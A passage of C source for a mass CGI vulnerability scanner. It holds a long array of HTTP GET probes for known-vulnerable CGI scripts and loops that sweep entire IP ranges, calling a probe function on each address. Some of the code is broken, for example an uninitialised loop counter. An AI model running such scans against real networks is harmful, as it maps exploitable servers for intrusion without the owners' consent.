  bug[206] = "GET /cgi-bin/probecontrol.cgi HTTP/1.0\n\n";
  bug[207] = "GET /cgi-bin/profile.cgi HTTP/1.0\n\n";
  bug[208] = "GET /cgi-bin/publisher/search.cgi HTTP/1.0\n\n";
  bug[209] = "GET /cgi-bin/quickstore.cgi HTTP/1.0\n\n";
  bug[210] = "GET /cgi-bin/quizme.cgi HTTP/1.0\n\n";
  bug[211] = "GET /cgi-bin/r.cgi HTTP/1.0\n\n";
  bug[212] = "GET /cgi-bin/ratlog.cgi HTTP/1.0\n\n";
  bug[213] = "GET /cgi-bin/register.cgi HTTP/1.0\n\n";
  bug[214] = "GET /cgi-bin/replicator/webpage.cgi/ HTTP/1.0\n\n";
  bug[215] = "GET /cgi-bin/responder.cgi HTTP/1.0\n\n";
  bug[216] = "GET /cgi-bin/robadmin.cgi HTTP/1.0\n\n";
  bug[217] = "GET /cgi-bin/robpoll.cgi HTTP/1.0\n\n";
  bug[218] = "GET /cgi-bin/sbcgi/sitebuilder.cgi HTTP/1.0\n\n";
  bug[219] = "GET /cgi-bin/scoadminreg.cgi HTTP/1.0\n\n";
  bug[220] = "GET /cgi-bin/search HTTP/1.0\n\n";
  bug[221] = "GET /cgi-bin/search.cgi HTTP/1.0\n\n";
  bug[222] = "GET /cgi-bin/search/search.cgi HTTP/1.0\n\n";
  bug[223] = "GET /cgi-bin/sendform.cgi HTTP/1.0\n\n";
  bug[224] = "GET /cgi-bin/shop.cgi HTTP/1.0\n\n";
  bug[225] = "GET /cgi-bin/shopper.cgi HTTP/1.0\n\n";
  bug[226] = "GET /cgi-bin/shopplus.cgi HTTP/1.0\n\n";
  bug[227] = "GET /cgi-bin/showcheckins.cgi HTTP/1.0\n\n";
  bug[228] = "GET /cgi-bin/simplestguest.cgi HTTP/1.0\n\n";
  bug[229] = "GET /cgi-bin/simplestmail.cgi HTTP/1.0\n\n";
  bug[230] = "GET /cgi-bin/smartsearch.cgi HTTP/1.0\n\n";
  bug[231] = "GET /cgi-bin/smartsearch/smartsearch.cgi HTTP/1.0\n\n";
  bug[232] = "GET /cgi-bin/snorkerz.bat HTTP/1.0\n\n";
  bug[233] = "GET /cgi-bin/snorkerz.cmd HTTP/1.0\n\n";
  bug[234] = "GET /cgi-bin/sojourn.cgi HTTP/1.0\n\n";
  bug[235] = "GET /cgi-bin/spin_client.cgi HTTP/1.0\n\n";
  bug[236] = "GET /cgi-bin/start.cgi HTTP/1.0\n\n";
  bug[237] = "GET /cgi-bin/store.cgi HTTP/1.0\n\n";
  bug[238] = "GET /cgi-bin/store/agora.cgi HTTP/1.0\n\n";
  bug[239] = "GET /cgi-bin/store/index.cgi HTTP/1.0\n\n";
  bug[240] = "GET /cgi-bin/survey.cgi HTTP/1.0\n\n";
  bug[241] = "GET /cgi-bin/talkback.cgi HTTP/1.0\n\n";
  bug[242] = "GET /cgi-bin/technote/main.cgi HTTP/1.0\n\n";
  bug[243] = "GET /cgi-bin/test-cgi HTTP/1.0\n\n";
  bug[244] = "GET /cgi-bin/test.cgi HTTP/1.0\n\n";
  bug[245] = "GET /cgi-bin/test/test.cgi HTTP/1.0\n\n";
  bug[246] = "GET /cgi-bin/test2.pl HTTP/1.0\n\n";
  bug[247] = "GET /cgi-bin/testing_whatever HTTP/1.0\n\n";
  bug[248] = "GET /cgi-bin/tidfinder.cgi HTTP/1.0\n\n";
  bug[249] = "GET /cgi-bin/tigvote.cgi HTTP/1.0\n\n";
  bug[250] = "GET /cgi-bin/title.cgi HTTP/1.0\n\n";
  bug[251] = "GET /cgi-bin/traffic.cgi HTTP/1.0\n\n";
  bug[252] = "GET /cgi-bin/troops.cgi HTTP/1.0\n\n";
  bug[253] = "GET /cgi-bin/ttawebtop.cgi/ HTTP/1.0\n\n";
  bug[254] = "GET /cgi-bin/ultraboard.cgi HTTP/1.0\n\n";
  bug[255] = "GET /cgi-bin/upload.cgi HTTP/1.0\n\n";
  bug[256] = "GET /cgi-bin/urlcount.cgi HTTP/1.0\n\n";
  bug[257] = "GET /cgi-bin/viewcvs.cgi HTTP/1.0\n\n";
  bug[258] = "GET /cgi-bin/viralator.cgi HTTP/1.0\n\n";
  bug[259] = "GET /cgi-bin/virgil.cgi HTTP/1.0\n\n";
  bug[260] = "GET /cgi-bin/vote.cgi HTTP/1.0\n\n";
  bug[261] = "GET /cgi-bin/vpasswd.cgi HTTP/1.0\n\n";
  bug[262] = "GET /cgi-bin/way-board.cgi HTTP/1.0\n\n";
  bug[263] = "GET /cgi-bin/way-board/way-board.cgi HTTP/1.0\n\n";
  bug[264] = "GET /cgi-bin/webbbs.cgi HTTP/1.0\n\n";
  bug[265] = "GET /cgi-bin/webcart/webcart.cgi HTTP/1.0\n\n";
  bug[266] = "GET /cgi-bin/webdist.cgi HTTP/1.0\n\n";
  bug[267] = "GET /cgi-bin/webif.cgi HTTP/1.0\n\n";
  bug[268] = "GET /cgi-bin/webmail/html/emumail.cgi HTTP/1.0\n\n";
  bug[269] = "GET /cgi-bin/webmap.cgi HTTP/1.0\n\n";
  bug[270] = "GET /cgi-bin/webspirs.cgi HTTP/1.0\n\n";
  bug[271] = "GET /cgi-bin/whois.cgi HTTP/1.0\n\n";
  bug[272] = "GET /cgi-bin/whois/whois.cgi HTTP/1.0\n\n";
  bug[273] = "GET /cgi-bin/whois_raw.cgi HTTP/1.0\n\n";
  bug[274] = "GET /cgi-bin/wrap HTTP/1.0\n\n";
  bug[275] = "GET /cgi-bin/wrap.cgi HTTP/1.0\n\n";
  bug[276] = "GET /cgi-bin/wwwboard.cgi.cgi HTTP/1.0\n\n";
  bug[277] = "GET /cgi-bin/YaBB/YaBB.cgi HTTP/1.0\n\n";
  bug[278] = "GET /cgi-bin/zml.cgi HTTP/1.0\n\n";
  bug[279] = "GET /cgi-sys/addalink.cgi HTTP/1.0\n\n";
  bug[280] = "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0\n\n";
  bug[281] = "GET /cgi-sys/domainredirect.cgi HTTP/1.0\n\n";
  bug[282] = "GET /cgi-sys/entropybanner.cgi HTTP/1.0\n\n";
  bug[283] = "GET /cgi-sys/entropysearch.cgi HTTP/1.0\n\n";
  bug[284] = "GET /cgi-sys/FormMail-clone.cgi HTTP/1.0\n\n";
  bug[285] = "GET /cgi-sys/helpdesk.cgi HTTP/1.0\n\n";
  bug[286] = "GET /cgi-sys/mchat.cgi HTTP/1.0\n\n";
  bug[287] = "GET /cgi-sys/randhtml.cgi HTTP/1.0\n\n";
  bug[288] = "GET /cgi-sys/realhelpdesk.cgi HTTP/1.0\n\n";
  bug[289] = "GET /cgi-sys/realsignup.cgi HTTP/1.0\n\n";
  bug[290] = "GET /cgi-sys/signup.cgi HTTP/1.0\n\n";
  bug[291] = "GET /cgis/wwwboard/wwwboard.cgi HTTP/1.0\n\n";
  bug[292] = "GET /connector.cgi HTTP/1.0\n\n";
  bug[293] = "GET /cp/rac/nsManager.cgi HTTP/1.0\n\n";
  bug[294] = "GET /create_release.sh HTTP/1.0\n\n";
  bug[295] = "GET /CSNews.cgi HTTP/1.0\n\n";
  bug[296] = "GET /csPassword.cgi HTTP/1.0\n\n";
  bug[297] = "GET /dcadmin.cgi HTTP/1.0\n\n";
  bug[298] = "GET /dcboard.cgi HTTP/1.0\n\n";
  bug[299] = "GET /dcforum.cgi HTTP/1.0\n\n";
  bug[300] = "GET /dcforum/dcforum.cgi HTTP/1.0\n\n";
  bug[301] = "GET /debug.cgi HTTP/1.0\n\n";
  bug[302] = "GET /details.cgi HTTP/1.0\n\n";
  bug[303] = "GET /edittag/edittag.cgi HTTP/1.0\n\n";
  bug[304] = "GET /emumail.cgi HTTP/1.0\n\n";
  bug[305] = "GET /enter_bug.cgi HTTP/1.0\n\n";
  bug[306] = "GET /ez2000/ezadmin.cgi HTTP/1.0\n\n";
  bug[307] = "GET /ez2000/ezboard.cgi HTTP/1.0\n\n";
  bug[308] = "GET /ez2000/ezman.cgi HTTP/1.0\n\n";
  bug[309] = "GET /fcgi-bin/echo HTTP/1.0\n\n";
  bug[310] = "GET /fcgi-bin/echo2 HTTP/1.0\n\n";
  bug[311] = "GET /Gozila.cgi HTTP/1.0\n\n";
  bug[312] = "GET /hitmatic/analyse.cgi HTTP/1.0\n\n";
  bug[313] = "GET /html/cgi-bin/cgicso HTTP/1.0\n\n";
  bug[314] = "GET /index.cgi HTTP/1.0\n\n";
  bug[315] = "GET /info.cgi HTTP/1.0\n\n";
  bug[316] = "GET /infosrch.cgi HTTP/1.0\n\n";
  bug[317] = "GET /login.cgi HTTP/1.0\n\n";
  bug[318] = "GET /mailview.cgi HTTP/1.0\n\n";
  bug[319] = "GET /main.cgi HTTP/1.0\n\n";
  bug[320] = "GET /megabook/admin.cgi HTTP/1.0\n\n";
  bug[321] = "GET /ministats/admin.cgi HTTP/1.0\n\n";
  bug[322] = "GET /mods/apage/apage.cgi HTTP/1.0\n\n";
  bug[323] = "GET /musicqueue.cgi HTTP/1.0\n\n";
  bug[324] = "GET /ncbook.cgi HTTP/1.0\n\n";
  bug[325] = "GET /newpro.cgi HTTP/1.0\n\n";
  bug[326] = "GET /newsletter.sh HTTP/1.0\n\n";
  bug[327] = "GET /oem_webstage/cgi-bin/oemapp_cgi HTTP/1.0\n\n";
  bug[328] = "GET /page.cgi HTTP/1.0\n\n";
  bug[329] = "GET /parse_xml.cgi HTTP/1.0\n\n";
  bug[330] = "GET /photo/manage.cgi HTTP/1.0\n\n";
  bug[331] = "GET /photodata/manage.cgi HTTP/1.0\n\n";
  bug[332] = "GET /print.cgi HTTP/1.0\n\n";
  bug[333] = "GET /process_bug.cgi HTTP/1.0\n\n";
  bug[334] = "GET /pub/english.cgi HTTP/1.0\n\n";
  bug[335] = "GET /quikmail/nph-emumail.cgi HTTP/1.0\n\n";
  bug[336] = "GET /quikstore.cgi HTTP/1.0\n\n";
  bug[337] = "GET /reviews/newpro.cgi HTTP/1.0\n\n";
  bug[338] = "GET /ROADS/cgi-bin/search.pl HTTP/1.0\n\n";
  bug[339] = "GET /sample01.cgi HTTP/1.0\n\n";
  bug[340] = "GET /sample02.cgi HTTP/1.0\n\n";
  bug[341] = "GET /sample03.cgi HTTP/1.0\n\n";
  bug[342] = "GET /sample04.cgi HTTP/1.0\n\n";
  bug[343] = "GET /sampleposteddata.cgi HTTP/1.0\n\n";
  bug[344] = "GET /scancfg.cgi HTTP/1.0\n\n";
  bug[345] = "GET /servers/link.cgi HTTP/1.0\n\n";
  bug[346] = "GET /setpasswd.cgi HTTP/1.0\n\n";
  bug[347] = "GET /SetSecurity.shm HTTP/1.0\n\n";
  bug[348] = "GET /shop/member_html.cgi HTTP/1.0\n\n";
  bug[349] = "GET /shop/normal_html.cgi HTTP/1.0\n\n";
  bug[350] = "GET /site_searcher.cgi HTTP/1.0\n\n";
  bug[351] = "GET /siteUserMod.cgi HTTP/1.0\n\n";
  bug[352] = "GET /submit.cgi HTTP/1.0\n\n";
  bug[353] = "GET /technote/print.cgi HTTP/1.0\n\n";
  bug[354] = "GET /template.cgi HTTP/1.0\n\n";
  bug[355] = "GET /test.cgi HTTP/1.0\n\n";
  bug[356] = "GET /upload.cgi HTTP/1.0\n\n";
  bug[357] = "GET /userreg.cgi HTTP/1.0\n\n";
  bug[358] = "GET /users/scripts/submit.cgi HTTP/1.0\n\n";
  bug[359] = "GET /Web_Store/web_store.cgi HTTP/1.0\n\n";
  bug[360] = "GET /webtools/bonsai/ccvsblame.cgi HTTP/1.0\n\n";
  bug[361] = "GET /webtools/bonsai/cvsblame.cgi HTTP/1.0\n\n";
  bug[362] = "GET /webtools/bonsai/cvslog.cgi HTTP/1.0\n\n";
  bug[363] = "GET /webtools/bonsai/cvsquery.cgi HTTP/1.0\n\n";
  bug[364] = "GET /webtools/bonsai/cvsqueryform.cgi HTTP/1.0\n\n";
  bug[365] = "GET /webtools/bonsai/showcheckins.cgi HTTP/1.0\n\n";
  bug[366] = "GET /wwwadmin.cgi HTTP/1.0\n\n";
  bug[367] = "GET /wwwboard.cgi HTTP/1.0\n\n";
  bug[368] = "GET /cgi-sys/entropysearch.cgi HTTP/1.0\n\n";
  bug[369] = "GET /cgi-sys/FormMail-clone.cgi HTTP/1.0\n\n";
  bug[370] = "GET /wwwboard/wwwsboard.cgi HTTP/1.0\n\n"; 

 }
/* A */
char A(char *Aclass)
{
  if(strlen(Aclass)>3)
  {
    printf("*** Connection Reset: That's an invalid range.");
    exit(-1);
  }
 
  for(x=0;x<=255;++x)
  {
      for(y=0;y<=255;++y)
      {
      for(z=0;z<=255;++z)
      {
        snprintf(ip,sizeof(ip),"%s.%d.%d.%d",Aclass,x,y,z);       
        try(ip);
      }
      }
  }
}/* end of A */
 
 
/* B */
char B(char *Bclass)
{
  for(y=0;y<=255;++y)
  {
        for(z=0;z<=255;++z)
        {
    snprintf(ip,sizeof(ip),"%s.%d.%d",Bclass,y,z);   
    try(ip);
        }
  }
}
 
/* end of B */
 
/* C */
char C(char *Cclass)
{
  for(z=0;z<=255;++z)
  {
    if( !strcmp(ip,".4") ) exit(EXIT_FAILURE);
    snprintf(ip,sizeof(ip),"%s.%d",Cclass,z);   
    try(ip);
  }
 
} /* end of C */
 
 
int main(int argc, char *argv[])
{
  if (argc !=3) {
    info();
    return -1;
  }

  char *min_address = argv[1];
  int min_addr_int[4];
  char *max_address = argv[2];
  int max_addr_int[4];
  char tmp[4];
  char *ptr, *pptr;
 
  prepare();
  ptr=min_address;

  int i, j, k, l;

  char *token;
  char *end = ptr + strlen(ptr);
  for(i=0; ptr<end; i++) {
    token = strtok(ptr,".");
    min_addr_int[i] = atoi(token);   
    ptr += strlen(token)+1;   
  }

  long min_addr_int_all = 0;

  for (i=0;i<4;i++) {
    min_addr_int_all=min_addr_int_all*1000+min_addr_int[i];
}
 
  ptr = max_address;
 
  end = ptr + strlen(ptr);
  for(i=0; ptr<end; i++) {
    token = strtok(ptr,".");   
    max_addr_int[i] = atoi(token);   
    ptr += strlen(token)+1;   
  }

  long max_addr_int_all = 0;
  for (i=0;i<4;i++) {
    max_addr_int_all=max_addr_int_all*1000+max_addr_int[i];
  }

  char real_ip_address[16];
  for (i=min_addr_int[0]; i<max_addr_int[0]+1; i++) {
    if (i==min_addr_int[0])  j = min_addr_int[1]; else j=0;
   
    for (; j<255; j++) {

      if(i==min_addr_int[0] && j==min_addr_int[1]) k = min_addr_int[2]; else k=0;
     
      for (; k<255; k++) {
        for (; l<255; l++) {
          long tmp_int_all = i;
          tmp_int_all*=1000;tmp_int_all+=j;
          tmp_int_all*=1000;tmp_int_all+=k;
          tmp_int_all*=1000;tmp_int_all+=l;

          if (tmp_int_all < min_addr_int_all || tmp_int_all > max_addr_int_all)
            continue;
 
          snprintf(real_ip_address, 16, "%d.%d.%d.%d",i,j,k,l);
          printf("Scanning IP: %s...\n",real_ip_address);
          sleep(1);
          try(real_ip_address);

        }
      }
    }

  } 
  return 0;
}